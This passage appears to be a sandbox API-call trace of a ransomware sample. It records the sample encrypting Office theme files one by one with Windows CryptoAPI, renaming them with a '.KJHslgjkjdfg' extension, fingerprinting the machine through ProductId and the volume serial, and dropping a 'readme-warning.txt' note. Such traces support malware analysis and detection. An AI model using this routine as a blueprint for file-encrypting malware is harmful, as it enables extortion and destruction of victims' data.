dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0148.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.kjhslgjkjdfg")) returned 1 [0148.353] CloseHandle (hObject=0x118) returned 1 [0148.353] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0148.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0148.354] GetProcessHeap () returned 0x2a0000 [0148.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0148.355] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0148.355] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0148.355] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0148.403] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.403] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.403] GetProcessHeap () returned 0x2a0000 [0148.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0148.403] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0148.403] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.403] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0148.403] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0148.403] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0148.403] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0148.403] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0148.403] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0148.403] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.404] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.404] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.404] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1936f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1936f, lpOverlapped=0x0) returned 1 [0148.474] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x19370, dwBufLen=0x19370 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x19370) returned 1 [0148.475] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.475] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19370, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x19370, lpOverlapped=0x0) returned 1 [0148.476] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.476] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x19434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.476] SetEndOfFile (hFile=0x118) returned 1 [0148.479] GetProcessHeap () returned 0x2a0000 [0148.479] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0148.479] GetProcessHeap () returned 0x2a0000 [0148.479] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0148.479] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.kjhslgjkjdfg")) returned 1 [0148.482] CloseHandle (hObject=0x118) returned 1 [0148.482] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0148.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0148.483] GetProcessHeap () returned 0x2a0000 [0148.483] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0148.483] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0148.483] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0148.483] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0148.485] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.485] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.485] GetProcessHeap () returned 0x2a0000 [0148.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0148.485] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0148.485] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.485] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0148.485] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0148.485] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0148.485] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0148.485] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0148.486] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0148.486] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.486] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.486] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.486] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1c8, lpOverlapped=0x0) returned 1 [0148.486] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1d0) returned 1 [0148.486] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.486] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1d0, lpOverlapped=0x0) returned 1 [0148.486] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.486] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.486] SetEndOfFile (hFile=0x118) returned 1 [0148.489] GetProcessHeap () returned 0x2a0000 [0148.489] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0148.489] GetProcessHeap () returned 0x2a0000 [0148.489] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0148.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.kjhslgjkjdfg")) returned 1 [0148.550] CloseHandle (hObject=0x118) returned 1 [0148.550] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0148.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0148.550] GetProcessHeap () returned 0x2a0000 [0148.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0148.551] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0148.551] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0148.551] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0149.578] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.578] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.578] GetProcessHeap () returned 0x2a0000 [0149.578] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.578] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0149.578] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.578] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0149.578] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.579] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.579] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.579] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.579] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.579] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.579] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.579] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.579] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8573, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x8573, lpOverlapped=0x0) returned 1 [0149.580] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8580, dwBufLen=0x8580 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8580) returned 1 [0149.580] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.580] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x8580, lpOverlapped=0x0) returned 1 [0149.581] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.581] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x8654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.581] SetEndOfFile (hFile=0x118) returned 1 [0149.583] GetProcessHeap () returned 0x2a0000 [0149.583] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.583] GetProcessHeap () returned 0x2a0000 [0149.583] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0149.584] CloseHandle (hObject=0x118) returned 1 [0149.585] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0149.585] GetProcessHeap () returned 0x2a0000 [0149.585] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.585] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.585] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0149.585] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.585] GetProcessHeap () returned 0x2a0000 [0149.585] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0149.585] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.585] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0149.585] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.585] GetProcessHeap () returned 0x2a0000 [0149.585] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0149.585] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.585] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0149.585] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.585] GetProcessHeap () returned 0x2a0000 [0149.585] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0149.585] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.585] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0149.585] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.585] GetProcessHeap () returned 0x2a0000 [0149.585] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0149.585] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.586] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0149.586] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.586] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0149.586] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0149.586] RegCloseKey (hKey=0x118) returned 0x0 [0149.586] GetProcessHeap () returned 0x2a0000 [0149.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0149.586] GetProcessHeap () returned 0x2a0000 [0149.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0149.586] GetProcessHeap () returned 0x2a0000 [0149.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0149.586] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.586] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0149.586] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.586] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0149.586] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0149.586] GetProcessHeap () returned 0x2a0000 [0149.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0149.587] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0149.587] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0149.587] GetProcessHeap () returned 0x2a0000 [0149.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0149.587] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\readme-warning.txt") returned 80 [0149.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.588] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0149.589] CloseHandle (hObject=0x118) returned 1 [0149.589] GetProcessHeap () returned 0x2a0000 [0149.589] HeapFree (in: hHeap=0x2a0000, 